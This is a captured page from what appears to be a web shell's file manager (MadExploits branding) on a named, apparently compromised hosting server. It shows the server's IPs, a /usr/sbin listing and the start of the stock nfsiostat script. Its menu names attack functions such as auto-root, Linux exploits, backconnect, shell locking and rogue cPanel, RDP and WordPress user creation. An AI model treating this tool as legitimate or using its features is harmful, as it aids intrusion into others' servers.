Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.137.176.238
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
abrt-auto-reporting
10.98
KB
-rwxr-xr-x
abrt-configuration
31.66
KB
-rwxr-xr-x
abrt-dbus
31.22
KB
-rwxr-xr-x
abrt-harvest-pstoreoops
1.32
KB
-rwxr-xr-x
abrt-harvest-vmcore
8.19
KB
-rwxr-xr-x
abrt-install-ccpp-hook
2.85
KB
-rwxr-xr-x
abrt-server
31.11
KB
-rwxr-xr-x
abrtd
31.22
KB
-rwxr-xr-x
accessdb
11.55
KB
-rwxr-xr-x
accton
11.19
KB
-rwxr-xr-x
addgnupghome
3.05
KB
-rwxr-xr-x
addpart
19.69
KB
-rwxr-xr-x
adduser
134.39
KB
-rwxr-xr-x
agetty
48.48
KB
-rwxr-xr-x
alternatives
27.61
KB
-rwxr-xr-x
anacron
35.52
KB
-rwxr-xr-x
apachectl
4.31
KB
-rwxr-xr-x
applygnupgdefaults
2.21
KB
-rwxr-xr-x
arp
63.98
KB
-rwxr-xr-x
arpd
52.98
KB
-rwxr-xr-x
arping
23.19
KB
-rwxr-xr-x
atd
27.17
KB
-rwxr-xr-x
atrun
67
B
-rwxr-xr-x
audispd
39.75
KB
-rwxr-xr-x
auditctl
39.56
KB
-rwxr-xr-x
auditd
125.65
KB
-rwxr-xr-x
augenrules
3.7
KB
-rwxr-xr-x
aureport
105.39
KB
-rwxr-xr-x
ausearch
109.8
KB
-rwxr-xr-x
autrace
15.49
KB
-rwxr-x---
avcstat
11.25
KB
-rwxr-xr-x
badblocks
27.69
KB
-rwxr-xr-x
biosdecode
24.15
KB
-rwxr-xr-x
blkdeactivate
15.97
KB
-r-xr-xr-x
blkdiscard
23.84
KB
-rwxr-xr-x
blkid
77.92
KB
-rwxr-xr-x
blkmapd
43.81
KB
-rwxr-xr-x
blockdev
32.2
KB
-rwxr-xr-x
bpftool
1.9
MB
-rwxr-xr-x
brctl
32.13
KB
-rwxr-xr-x
bridge
77.61
KB
-rwxr-xr-x
build-locale-archive
860.52
KB
-rwx------
cache_check
1.23
MB
-rwxr-xr-x
cache_dump
1.23
MB
-rwxr-xr-x
cache_metadata_size
1.23
MB
-rwxr-xr-x
cache_repair
1.23
MB
-rwxr-xr-x
cache_restore
1.23
MB
-rwxr-xr-x
cache_writeback
1.23
MB
-rwxr-xr-x
capsh
19.43
KB
-rwxr-xr-x
cbq
32.73
KB
-rwxr-xr-x
cfdisk
71.37
KB
-rwxr-xr-x
cgdisk
176.87
KB
-rwxr-xr-x
chcpu
23.7
KB
-rwxr-xr-x
chgpasswd
64.1
KB
-rwxr-xr-x
chkconfig
40.22
KB
-rwxr-xr-x
chpasswd
55.88
KB
-rwxr-xr-x
chronyd
263.08
KB
-rwxr-xr-x
chroot
32.48
KB
-rwxr-xr-x
clock
48.44
KB
-rwxr-xr-x
clockdiff
19.04
KB
-rwxr-xr-x
collectd
210.29
KB
-rwxr-xr-x
collectdmon
14.99
KB
-rwxr-xr-x
consoletype
6.95
KB
-rwxr-xr-x
convertquota
70.88
KB
-rwxr-xr-x
cracklib-check
7.04
KB
-rwxr-xr-x
cracklib-format
246
B
-rwxr-xr-x
cracklib-packer
11.06
KB
-rwxr-xr-x
cracklib-unpacker
7.02
KB
-rwxr-xr-x
crda
11.34
KB
-rwxr-xr-x
create-cracklib-dict
990
B
-rwxr-xr-x
crond
68.48
KB
-rwxr-xr-x
cryptsetup
85.41
KB
-rwxr-xr-x
ctrlaltdel
11.2
KB
-rwxr-xr-x
ctstat
20.09
KB
-rwxr-xr-x
ddns-confgen
19.44
KB
-rwxr-xr-x
debugfs
120.64
KB
-rwxr-xr-x
delpart
19.69
KB
-rwxr-xr-x
depmod
143.24
KB
-rwxr-xr-x
devlink
64.72
KB
-rwxr-xr-x
dhclient
414.34
KB
-rwxr-xr-x
dhclient-script
30.38
KB
-rwxr-xr-x
dm_dso_reg_tool
11.29
KB
-rwxr-xr-x
dmevent_tool
11.29
KB
-rwxr-xr-x
dmeventd
39.56
KB
-r-xr-xr-x
dmfilemapd
19.16
KB
-r-xr-xr-x
dmidecode
120.2
KB
-rwxr-xr-x
dmraid
22.1
KB
-rwxr-xr-x
dmraid.static
22.1
KB
-rwxr-xr-x
dmsetup
149.2
KB
-r-xr-xr-x
dmstats
149.2
KB
-r-xr-xr-x
dnssec-checkds
922
B
-rwxr-xr-x
dnssec-coverage
924
B
-rwxr-xr-x
dnssec-dsfromkey
56.6
KB
-rwxr-xr-x
dnssec-importkey
52.59
KB
-rwxr-xr-x
dnssec-keyfromlabel
60.52
KB
-rwxr-xr-x
dnssec-keygen
64.55
KB
-rwxr-xr-x
dnssec-keymgr
920
B
-rwxr-xr-x
dnssec-revoke
48.45
KB
-rwxr-xr-x
dnssec-settime
56.52
KB
-rwxr-xr-x
dnssec-signzone
105.7
KB
-rwxr-xr-x
dnssec-verify
48.46
KB
-rwxr-xr-x
dosfsck
56.24
KB
-rwxr-xr-x
dosfslabel
52.23
KB
-rwxr-xr-x
dovecot
370.66
KB
-rwxr-xr-x
dovecot_cpshutdown
3.27
KB
-rwxr-xr-x
dracut
55.83
KB
-rwxr-xr-x
dump-acct
19.63
KB
-rwxr-xr-x
dump-utmp
15.47
KB
-rwxr-xr-x
dumpe2fs
23.62
KB
-rwxr-xr-x
e2freefrag
11.15
KB
-rwxr-xr-x
e2fsck
250.55
KB
-rwxr-xr-x
e2image
27.85
KB
-rwxr-xr-x
e2label
69.41
KB
-rwxr-xr-x
e2undo
11.32
KB
-rwxr-xr-x
e4defrag
23.55
KB
-rwxr-xr-x
ebtables
6.85
KB
-rwxr-xr-x
ebtables-restore
10.88
KB
-rwxr-xr-x
ebtables-save
851
B
-rwxr-xr-x
edquota
83.09
KB
-rwxr-xr-x
era_check
1.23
MB
-rwxr-xr-x
era_dump
1.23
MB
-rwxr-xr-x
era_invalidate
1.23
MB
-rwxr-xr-x
era_restore
1.23
MB
-rwxr-xr-x
ether-wake
73.26
KB
-rwxr-xr-x
ethtool
293.87
KB
-rwxr-xr-x
exicyclog
11.01
KB
-rwxr-xr-x
exigrep
10.44
KB
-rwxr-xr-x
exim
1.33
MB
-rwsr-xr-x
exim_checkaccess
4.73
KB
-rwxr-xr-x
exim_dbmbuild
82.09
KB
-rwxr-xr-x
exim_dumpdb
134.47
KB
-rwxr-xr-x
exim_fixdb
168.22
KB
-rwxr-xr-x
exim_lock
64.66
KB
-rwxr-xr-x
exim_tidydb
142.8
KB
-rwxr-xr-x
eximstats
148.01
KB
-rwxr-xr-x
exinext
8.02
KB
-rwxr-xr-x
exiqgrep
5.46
KB
-rwxr-xr-x
exiqsumm
5.07
KB
-rwxr-xr-x
exiwhat
4.32
KB
-rwxr-xr-x
exportfs
76.91
KB
-rwxr-xr-x
faillock
15.02
KB
-rwxr-xr-x
fatlabel
52.23
KB
-rwxr-xr-x
fcgistarter
23.85
KB
-rwxr-xr-x
fdformat
11.27
KB
-rwxr-xr-x
fdisk
195.8
KB
-rwxr-xr-x
filefrag
15.23
KB
-rwxr-xr-x
findfs
11.2
KB
-rwxr-xr-x
firewalld
6.87
KB
-rwxr-xr-x
fixfiles
11.03
KB
-rwxr-xr-x
fixparts
61.65
KB
-rwxr-xr-x
fsadm
23.97
KB
-r-xr-xr-x
fsck
32.12
KB
-rwxr-xr-x
fsck.cramfs
19.57
KB
-rwxr-xr-x
fsck.ext2
250.55
KB
-rwxr-xr-x
fsck.ext3
250.55
KB
-rwxr-xr-x
fsck.ext4
250.55
KB
-rwxr-xr-x
fsck.fat
56.24
KB
-rwxr-xr-x
fsck.minix
73.32
KB
-rwxr-xr-x
fsck.msdos
56.24
KB
-rwxr-xr-x
fsck.vfat
56.24
KB
-rwxr-xr-x
fsck.xfs
433
B
-rwxr-xr-x
fsfreeze
11.23
KB
-rwxr-xr-x
fstrim
40.59
KB
-rwxr-xr-x
fuser
32.34
KB
-rwxr-xr-x
gdisk
184.49
KB
-rwxr-xr-x
genhomedircon
23.77
KB
-rwxr-xr-x
genhostid
6.94
KB
-rwxr-xr-x
genl
52.81
KB
-rwxr-xr-x
genl-ctrl-list
11.27
KB
-rwxr-xr-x
genrandom
11.16
KB
-rwxr-xr-x
getcap
11.13
KB
-rwxr-xr-x
getenforce
7.01
KB
-rwxr-xr-x
getpcaps
7.07
KB
-rwxr-xr-x
getsebool
11.13
KB
-rwxr-xr-x
glibc_post_upgrade.x86_64
772.05
KB
-rwx------
groupadd
85.65
KB
-rwxr-xr-x
groupdel
77.38
KB
-rwxr-xr-x
groupmems
55.97
KB
-rwxr-xr-x
groupmod
85.66
KB
-rwxr-xr-x
grpck
59.93
KB
-rwxr-xr-x
grpconv
51.73
KB
-rwxr-xr-x
grpunconv
51.73
KB
-rwxr-xr-x
grub2-bios-setup
1.03
MB
-rwxr-xr-x
grub2-get-kernel-settings
2.08
KB
-rwxr-xr-x
grub2-install
1.29
MB
-rwxr-xr-x
grub2-macbless
1.02
MB
-rwxr-xr-x
grub2-mkconfig
7.63
KB
-rwxr-xr-x
grub2-ofpathname
225.54
KB
-rwxr-xr-x
grub2-probe
1.03
MB
-rwxr-xr-x
grub2-reboot
4
KB
-rwxr-xr-x
grub2-rpm-sort
258.52
KB
-rwxr-xr-x
grub2-set-default
3.46
KB
-rwxr-xr-x
grub2-setpassword
2.96
KB
-rwxr-xr-x
grub2-sparc64-setup
1.04
MB
-rwxr-xr-x
grubby
71.27
KB
-rwxr-xr-x
gss-server
23.13
KB
-rwxr-xr-x
gssproxy
130.64
KB
-rwxr-xr-x
halt
704.8
KB
-rwxr-xr-x
hardlink
15.29
KB
-rwxr-xr-x
htcacheclean
78.45
KB
-rwxr-xr-x
httpd
2.31
MB
-rwxr-xr-x
hwclock
48.44
KB
-rwxr-xr-x
iconvconfig
22.15
KB
-rwxr-xr-x
iconvconfig.x86_64
22.15
KB
-rwxr-xr-x
ifcfg
2.99
KB
-rwxr-xr-x
ifconfig
80.05
KB
-rwxr-xr-x
ifdown
1.61
KB
-rwxr-xr-x
ifenslave
19.74
KB
-rwxr-xr-x
ifstat
40.6
KB
-rwxr-xr-x
ifup
4.89
KB
-rwxr-xr-x
imunify-notifier
9.8
MB
-rwxr-xr-x
init
1.56
MB
-rwxr-xr-x
insmod
143.24
KB
-rwxr-xr-x
install-info
110.42
KB
-rwxr-xr-x
installkernel
2.69
KB
-rwxr-xr-x
intel-microcode2ucode
11.1
KB
-rwxr-xr-x
ip
459.59
KB
-rwxr-xr-x
ip6tables
91.52
KB
-rwxr-xr-x
ip6tables-restore
91.52
KB
-rwxr-xr-x
ip6tables-save
91.52
KB
-rwxr-xr-x
ipmaddr
19.33
KB
-rwxr-xr-x
ipset
7.02
KB
-rwxr-xr-x
iptables
91.52
KB
-rwxr-xr-x
iptables-restore
91.52
KB
-rwxr-xr-x
iptables-save
91.52
KB
-rwxr-xr-x
iptunnel
23.33
KB
-rwxr-xr-x
irqbalance
48.5
KB
-rwxr-xr-x
isc-hmac-fixup
11.2
KB
-rwxr-xr-x
iw
157.97
KB
-rwxr-xr-x
kexec
166.06
KB
-rwxr-xr-x
key.dns_resolver
19.45
KB
-rwxr-xr-x
killall5
23.17
KB
-rwxr-xr-x
kpartx
39.47
KB
-rwxr-xr-x
kpatch
14.53
KB
-rwxr-xr-x
lchage
15.41
KB
-rwxr-xr-x
ldattach
27.93
KB
-rwxr-xr-x
ldconfig
952.08
KB
-rwxr-xr-x
ledctl
61.97
KB
-rwxr-xr-x
ledmon
62.15
KB
-rwxr-xr-x
lgroupadd
11.28
KB
-rwxr-xr-x
lgroupdel
11.26
KB
-rwxr-xr-x
lgroupmod
15.44
KB
-rwxr-xr-x
lid
15.4
KB
-rwxr-xr-x
lnewusers
15.46
KB
-rwxr-xr-x
lnstat
20.09
KB
-rwxr-xr-x
load_policy
10.97
KB
-rwxr-xr-x
logrotate
68.61
KB
-rwxr-xr-x
logsave
11.27
KB
-rwxr-xr-x
losetup
82.45
KB
-rwxr-xr-x
lpasswd
15.5
KB
-rwxr-xr-x
lshw
895.18
KB
-rwxr-xr-x
lsmod
143.24
KB
-rwxr-xr-x
lsof
150.57
KB
-rwxr-xr-x
lspci
73.67
KB
-rwxr-xr-x
luseradd
15.38
KB
-rwxr-xr-x
luserdel
11.3
KB
-rwxr-xr-x
lusermod
19.43
KB
-rwxr-xr-x
lvchange
2.15
MB
-r-xr-xr-x
lvconvert
2.15
MB
-r-xr-xr-x
lvcreate
2.15
MB
-r-xr-xr-x
lvdisplay
2.15
MB
-r-xr-xr-x
lvextend
2.15
MB
-r-xr-xr-x
lvm
2.15
MB
-r-xr-xr-x
lvmconf
12.55
KB
-r-xr-xr-x
lvmconfig
2.15
MB
-r-xr-xr-x
lvmdiskscan
2.15
MB
-r-xr-xr-x
lvmdump
10.07
KB
-r-xr-xr-x
lvmetad
71.66
KB
-r-xr-xr-x
lvmpolld
64.07
KB
-r-xr-xr-x
lvmsadc
2.15
MB
-r-xr-xr-x
lvmsar
2.15
MB
-r-xr-xr-x
lvreduce
2.15
MB
-r-xr-xr-x
lvremove
2.15
MB
-r-xr-xr-x
lvrename
2.15
MB
-r-xr-xr-x
lvresize
2.15
MB
-r-xr-xr-x
lvs
2.15
MB
-r-xr-xr-x
lvscan
2.15
MB
-r-xr-xr-x
lwresd
768.18
KB
-rwxr-xr-x
makedumpfile
376.52
KB
-rwxr-xr-x
matchpathcon
11.19
KB
-rwxr-xr-x
mdadm
593.45
KB
-rwxr-xr-x
mdmon
331.55
KB
-rwxr-xr-x
mii-diag
20.08
KB
-rwxr-xr-x
mii-tool
19.51
KB
-rwxr-xr-x
mkdict
246
B
-rwxr-xr-x
mkdosfs
28.05
KB
-rwxr-xr-x
mkdumprd
13.99
KB
-rwxr-xr-x
mke2fs
94.08
KB
-rwxr-xr-x
mkfs
11.25
KB
-rwxr-xr-x
mkfs.cramfs
36.16
KB
-rwxr-xr-x
mkfs.ext2
94.08
KB
-rwxr-xr-x
mkfs.ext3
94.08
KB
-rwxr-xr-x
mkfs.ext4
94.08
KB
-rwxr-xr-x
mkfs.fat
28.05
KB
-rwxr-xr-x
mkfs.minix
36.27
KB
-rwxr-xr-x
mkfs.msdos
28.05
KB
-rwxr-xr-x
mkfs.vfat
28.05
KB
-rwxr-xr-x
mkfs.xfs
359.8
KB
-rwxr-xr-x
mkhomedir_helper
19.05
KB
-rwxr-xr-x
mklost+found
11.11
KB
-rwxr-xr-x
mkswap
69.64
KB
-rwxr-xr-x
modinfo
143.24
KB
-rwxr-xr-x
modprobe
143.24
KB
-rwxr-xr-x
modsec-sdbm-util
22.17
KB
-rwxr-x---
mount.fuse
11.1
KB
-rwxr-xr-x
mount.nfs
114.68
KB
-rwsr-xr-x
mount.nfs4
114.68
KB
-rwsr-xr-x
mountstats
40.59
KB
-rwxr-xr-x
mtr
83.18
KB
-rwxr-xr-x
mysqld
244.14
MB
-rwxr-xr-x
mysqld-debug
165.52
MB
-rwxr-xr-x
named
768.18
KB
-rwxr-xr-x
named-checkconf
32.25
KB
-rwxr-xr-x
named-checkzone
32.06
KB
-rwxr-xr-x
named-compilezone
32.06
KB
-rwxr-xr-x
named-journalprint
11.13
KB
-rwxr-xr-x
nameif
15.32
KB
-rwxr-xr-x
netreport
10.96
KB
-rwxr-xr-x
new-kernel-pkg
24.96
KB
-rwxr-xr-x
newusers
93.45
KB
-rwxr-xr-x
nfsdcltrack
40.11
KB
-rwxr-xr-x
nfsidmap
19.32
KB
-rwxr-xr-x
nfsiostat
23.64
KB
-rwxr-xr-x
nfsstat
29.84
KB
-rwxr-xr-x
nl-class-add
11.7
KB
-rwxr-xr-x
nl-class-delete
11.55
KB
-rwxr-xr-x
nl-class-list
11.48
KB
-rwxr-xr-x
nl-classid-lookup
11.29
KB
-rwxr-xr-x
nl-cls-add
11.76
KB
-rwxr-xr-x
nl-cls-delete
11.68
KB
-rwxr-xr-x
nl-cls-list
11.58
KB
-rwxr-xr-x
nl-link-list
11.52
KB
-rwxr-xr-x
nl-pktloc-lookup
11.36
KB
-rwxr-xr-x
nl-qdisc-add
11.6
KB
-rwxr-xr-x
nl-qdisc-delete
11.54
KB
-rwxr-xr-x
nl-qdisc-list
11.63
KB
-rwxr-xr-x
nologin
7.01
KB
-rwxr-xr-x
nscd
180.02
KB
-rwxr-xr-x
nsec3hash
11.13
KB
-rwxr-xr-x
nstat
23.88
KB
-rwxr-xr-x
ntpdate
107.58
KB
-rwxr-xr-x
ntsysv
36.24
KB
-rwxr-xr-x
osd_login
2.55
KB
-rwxr-xr-x
ownership
15.04
KB
-rwxr-xr-x
packer
11.06
KB
-rwxr-xr-x
pam_console_apply
39.69
KB
-rwxr-xr-x
pam_tally2
15.05
KB
-rwxr-xr-x
pam_timestamp_check
10.97
KB
-rwxr-xr-x
paperconfig
4.07
KB
-rwxr-xr-x
parted
77.22
KB
-rwxr-xr-x
partprobe
11.23
KB
-rwxr-xr-x
partx
86.55
KB
-rwxr-xr-x
pdata_tools
1.23
MB
-rwxr-xr-x
pdns_server
98.68
MB
-rwxr-xr-x
pidof
23.17
KB
-rwxr-xr-x
ping6
64.63
KB
-rwxr-xr-x
pivot_root
11.19
KB
-rwxr-xr-x
plipconfig
11.06
KB
-rwxr-xr-x
pm-hibernate
2.86
KB
-rwxr-xr-x
pm-powersave
2.09
KB
-rwxr-xr-x
pm-suspend
2.86
KB
-rwxr-xr-x
pm-suspend-hybrid
2.86
KB
-rwxr-xr-x
pm-utils-bugreport-info.sh
1.47
KB
-rwxr-xr-x
poweroff
704.8
KB
-rwxr-xr-x
ppp-watch
23.2
KB
-rwxr-xr-x
pure-authd
18.37
KB
-rwxr-xr-x
pure-certd
18.27
KB
-rwxr-xr-x
pure-config.pl
4.64
KB
-rwxr-xr-x
pure-ftpd
173.28
KB
-rwxr-xr-x
pure-ftpwho
25.96
KB
-rwxr-xr-x
pure-mrtginfo
9.93
KB
-rwxr-xr-x
pure-quotacheck
13.95
KB
-rwxr-xr-x
pure-uploadscript
14.21
KB
-rwxr-xr-x
pvchange
2.15
MB
-r-xr-xr-x
pvck
2.15
MB
-r-xr-xr-x
pvcreate
2.15
MB
-r-xr-xr-x
pvdisplay
2.15
MB
-r-xr-xr-x
pvmove
2.15
MB
-r-xr-xr-x
pvremove
2.15
MB
-r-xr-xr-x
pvresize
2.15
MB
-r-xr-xr-x
pvs
2.15
MB
-r-xr-xr-x
pvscan
2.15
MB
-r-xr-xr-x
pwck
51.71
KB
-rwxr-xr-x
pwconv
47.57
KB
-rwxr-xr-x
pwhistory_helper
15.44
KB
-rwxr-xr-x
pwunconv
47.59
KB
-rwxr-xr-x
quot
70.66
KB
-rwxr-xr-x
quotacheck
107.29
KB
-rwxr-xr-x
quotaoff
75.03
KB
-rwxr-xr-x
quotaon
75.03
KB
-rwxr-xr-x
quotastats
14.03
KB
-rwxr-xr-x
raid-check
3.7
KB
-rwxr-xr-x
rdisc
23.17
KB
-rwxr-xr-x
rdma
73.42
KB
-rwxr-xr-x
readprofile
15.46
KB
-rwxr-xr-x
reboot
704.8
KB
-rwxr-xr-x
regdbdump
7.12
KB
-rwxr-xr-x
repquota
75.16
KB
-rwxr-xr-x
request-key
19.41
KB
-rwxr-xr-x
resize2fs
48.41
KB
-rwxr-xr-x
resizepart
32.36
KB
-rwxr-xr-x
restorecon
27.16
KB
-rwxr-xr-x
rfkill
11.29
KB
-rwxr-xr-x
rmmod
143.24
KB
-rwxr-xr-x
rndc
35.88
KB
-rwxr-xr-x
rndc-confgen
19.44
KB
-rwxr-xr-x
rngd
42.39
KB
-rwxr-xr-x
rotatelogs
53
KB
-rwxr-xr-x
route
66.6
KB
-rwxr-xr-x
routef
173
B
-rwxr-xr-x
routel
1.59
KB
-rwxr-xr-x
rpc.gssd
88.73
KB
-rwxr-xr-x
rpc.idmapd
48.13
KB
-rwxr-xr-x
rpc.mountd
128.91
KB
-rwxr-xr-x
rpc.nfsd
40.2
KB
-rwxr-xr-x
rpc.rquotad
78.95
KB
-rwxr-xr-x
rpc.statd
97.59
KB
-rwxr-xr-x
rpcbind
60.07
KB
-rwxr-xr-x
rpcdebug
18.05
KB
-rwxr-xr-x
rpcinfo
27.3
KB
-rwxr-xr-x
rsyslogd
648.45
KB
-rwxr-xr-x
rtacct
41.93
KB
-rwxr-xr-x
rtcwake
31.96
KB
-rwxr-xr-x
rtmon
48.67
KB
-rwxr-xr-x
rtpr
37
B
-rwxr-xr-x
rtstat
20.09
KB
-rwxr-xr-x
runlevel
704.8
KB
-rwxr-xr-x
runq
1.33
MB
-rwsr-xr-x
runuser
32.21
KB
-rwxr-xr-x
sa
36.77
KB
-rwxr-xr-x
safe_finger
11.08
KB
-rwxr-xr-x
sasldblistusers2
19.26
KB
-rwxr-xr-x
saslpasswd2
15.09
KB
-rwxr-xr-x
sefcontext_compile
60.53
KB
-rwxr-xr-x
selabel_digest
11.17
KB
-rwxr-xr-x
selabel_lookup
11.14
KB
-rwxr-xr-x
selabel_lookup_best_match
11.16
KB
-rwxr-xr-x
selabel_partial_match
11.09
KB
-rwxr-xr-x
selinux_restorecon
15.21
KB
-rwxr-xr-x
selinuxconlist
11.1
KB
-rwxr-xr-x
selinuxdefcon
11.12
KB
-rwxr-xr-x
selinuxenabled
6.98
KB
-rwxr-xr-x
selinuxexeccon
7.09
KB
-rwxr-xr-x
semanage
42.76
KB
-rwxr-xr-x
semodule
23.77
KB
-rwxr-xr-x
sendmail
13.48
KB
-rwxr-sr-x
service
3.17
KB
-rwxr-xr-x
sestatus
15.02
KB
-rwxr-xr-x
setcap
11.13
KB
-rwxr-xr-x
setenforce
7.05
KB
-rwxr-xr-x
setfiles
27.16
KB
-rwxr-xr-x
setpci
23.4
KB
-rwxr-xr-x
setquota
83.16
KB
-rwxr-xr-x
setregdomain
1.7
KB
-rwxr-xr-x
setsebool
14.99
KB
-rwxr-xr-x
setup
15.38
KB
-rwxr-xr-x
sfdisk
83.25
KB
-rwxr-xr-x
sgdisk
168.33
KB
-rwxr-xr-x
sgpio
15.63
KB
-rwxr-xr-x
showmount
19.56
KB
-rwxr-xr-x
shutdown
704.8
KB
-rwxr-xr-x
sim_server
10.97
KB
-rwxr-xr-x
slattach
42.4
KB
-rwxr-xr-x
sln
743.78
KB
-rwxr-xr-x
sm-notify
68.43
KB
-rwxr-xr-x
smartctl
864.48
KB
-rwxr-xr-x
smartd
670.63
KB
-rwxr-xr-x
snmpd
31.05
KB
-rwxr-xr-x
snmptrapd
31.22
KB
-rwxr-xr-x
sosreport
561
B
-rwxr-xr-x
ss
128.44
KB
-rwxr-xr-x
sshd
836.91
KB
-rwxr-xr-x
sshd-keygen
3.53
KB
-rwxr-xr-x
start-statd
842
B
-rwxr-xr-x
start-stop-daemon
32.96
KB
-rwxr-xr-x
suexec
43.3
KB
-rwsr-xr-x
sulogin
40.53
KB
-rwxr-xr-x
suphp
2.47
MB
-rwsr-x---
sushell
67
B
-rwxr-xr-x
swaplabel
15.31
KB
-rwxr-xr-x
swapoff
15.53
KB
-rwxr-xr-x
swapon
53.29
KB
-rwxr-xr-x
switch_root
15.35
KB
-rwxr-xr-x
sys-unconfig
184
B
-rwxr-xr-x
sysctl
23.57
KB
-rwxr-xr-x
tc
384.66
KB
-rwxr-xr-x
tcpd
36.62
KB
-rwxr-xr-x
tcpdmatch
40.83
KB
-rwxr-xr-x
tcpdump
920.16
KB
-rwxr-xr-x
tcpslice
23.64
KB
-rwxr-xr-x
telinit
704.8
KB
-rwxr-xr-x
thin_check
1.23
MB
-rwxr-xr-x
thin_delta
1.23
MB
-rwxr-xr-x
thin_dump
1.23
MB
-rwxr-xr-x
thin_ls
1.23
MB
-rwxr-xr-x
thin_metadata_size
1.23
MB
-rwxr-xr-x
thin_repair
1.23
MB
-rwxr-xr-x
thin_restore
1.23
MB
-rwxr-xr-x
thin_rmap
1.23
MB
-rwxr-xr-x
thin_trim
1.23
MB
-rwxr-xr-x
tmpwatch
27.87
KB
-rwxr-xr-x
tracepath
15.05
KB
-rwxr-xr-x
tracepath6
15.05
KB
-rwxr-xr-x
try-from
23.47
KB
-rwxr-xr-x
tsig-keygen
19.44
KB
-rwxr-xr-x
tune2fs
69.41
KB
-rwxr-xr-x
tuned
3.29
KB
-rwxr-xr-x
tuned-adm
5.22
KB
-rwxr-xr-x
udevadm
414.27
KB
-rwxr-xr-x
umount.nfs
114.68
KB
-rwsr-xr-x
umount.nfs4
114.68
KB
-rwsr-xr-x
unix_chkpwd
35.42
KB
-rwxr-xr-x
unix_update
35.42
KB
-rwx------
update-alternatives
27.61
KB
-rwxr-xr-x
update-pciids
1.71
KB
-rwxr-xr-x
update-smart-drivedb
14.34
KB
-rwxr-xr-x
usb_modeswitch
57.61
KB
-rwxr-xr-x
usb_modeswitch_dispatcher
236.66
KB
-rwxr-xr-x
useradd
134.39
KB
-rwxr-xr-x
userdel
93.5
KB
-rwxr-xr-x
userhelper
39.38
KB
-rwx--x--x
usermod
130.33
KB
-rwxr-xr-x
usernetctl
11.03
KB
-rwxr-xr-x
uuserver
14.97
KB
-rwxr-xr-x
vgcfgbackup
2.15
MB
-r-xr-xr-x
vgcfgrestore
2.15
MB
-r-xr-xr-x
vgchange
2.15
MB
-r-xr-xr-x
vgck
2.15
MB
-r-xr-xr-x
vgconvert
2.15
MB
-r-xr-xr-x
vgcreate
2.15
MB
-r-xr-xr-x
vgdisplay
2.15
MB
-r-xr-xr-x
vgexport
2.15
MB
-r-xr-xr-x
vgextend
2.15
MB
-r-xr-xr-x
vgimport
2.15
MB
-r-xr-xr-x
vgimportclone
2.15
MB
-r-xr-xr-x
vgmerge
2.15
MB
-r-xr-xr-x
vgmknodes
2.15
MB
-r-xr-xr-x
vgreduce
2.15
MB
-r-xr-xr-x
vgremove
2.15
MB
-r-xr-xr-x
vgrename
2.15
MB
-r-xr-xr-x
vgs
2.15
MB
-r-xr-xr-x
vgscan
2.15
MB
-r-xr-xr-x
vgsplit
2.15
MB
-r-xr-xr-x
vigr
62.54
KB
-rwxr-xr-x
vipw
62.54
KB
-rwxr-xr-x
virt-what
11.57
KB
-rwxr-xr-x
visudo
200.91
KB
-rwxr-xr-x
vmcore-dmesg
19.28
KB
-rwxr-xr-x
vpddecode
15.33
KB
-rwxr-xr-x
weak-modules
31.9
KB
-rwxr-xr-x
whmapi0
3.02
MB
-rwxr-xr-x
whmapi1
3.02
MB
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
wipefs
28.05
KB
-rwxr-xr-x
xfs_admin
1.35
KB
-rwxr-xr-x
xfs_bmap
638
B
-rwxr-xr-x
xfs_copy
339.33
KB
-rwxr-xr-x
xfs_db
576.38
KB
-rwxr-xr-x
xfs_estimate
11.16
KB
-rwxr-xr-x
xfs_freeze
767
B
-rwxr-xr-x
xfs_fsr
31.83
KB
-rwxr-xr-x
xfs_growfs
327.2
KB
-rwxr-xr-x
xfs_info
472
B
-rwxr-xr-x
xfs_io
122.68
KB
-rwxr-xr-x
xfs_logprint
355.81
KB
-rwxr-xr-x
xfs_mdrestore
314.81
KB
-rwxr-xr-x
xfs_metadump
747
B
-rwxr-xr-x
xfs_mkfile
1007
B
-rwxr-xr-x
xfs_ncheck
650
B
-rwxr-xr-x
xfs_quota
84.88
KB
-rwxr-xr-x
xfs_repair
563.2
KB
-rwxr-xr-x
xfs_rtcp
15.25
KB
-rwxr-xr-x
xfsdump
291.68
KB
-rwxr-xr-x
xfsinvutil
61.87
KB
-rwxr-xr-x
xfsrestore
353.26
KB
-rwxr-xr-x
xqmstats
14.03
KB
-rwxr-xr-x
xtables-multi
91.52
KB
-rwxr-xr-x
yum-complete-transaction
9.22
KB
-rwxr-xr-x
yumdb
8.67
KB
-rwxr-xr-x
zabbix_agentd
691.83
KB
-rwxr-xr-x
zdump
14.02
KB
-rwxr-xr-x
zic
50.02
KB
-rwxr-xr-x
zramctl
82.23
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : nfsiostat
#!/usr/bin/python # -*- python-mode -*- """Emulate iostat for NFS mount points using /proc/self/mountstats """ from __future__ import print_function __copyright__ = """ Copyright (C) 2005, Chuck Lever <cel@netapp.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA """ import sys, os, time from optparse import OptionParser, OptionGroup Iostats_version = '0.2' def difference(x, y): """Used for a map() function """ return x - y NfsEventCounters = [ 'inoderevalidates', 'dentryrevalidates', 'datainvalidates', 'attrinvalidates', 'vfsopen', 'vfslookup', 'vfspermission', 'vfsupdatepage', 'vfsreadpage', 'vfsreadpages', 'vfswritepage', 'vfswritepages', 'vfsreaddir', 'vfssetattr', 'vfsflush', 'vfsfsync', 'vfslock', 'vfsrelease', 'congestionwait', 'setattrtrunc', 'extendwrite', 'sillyrenames', 'shortreads', 'shortwrites', 'delay' ] NfsByteCounters = [ 'normalreadbytes', 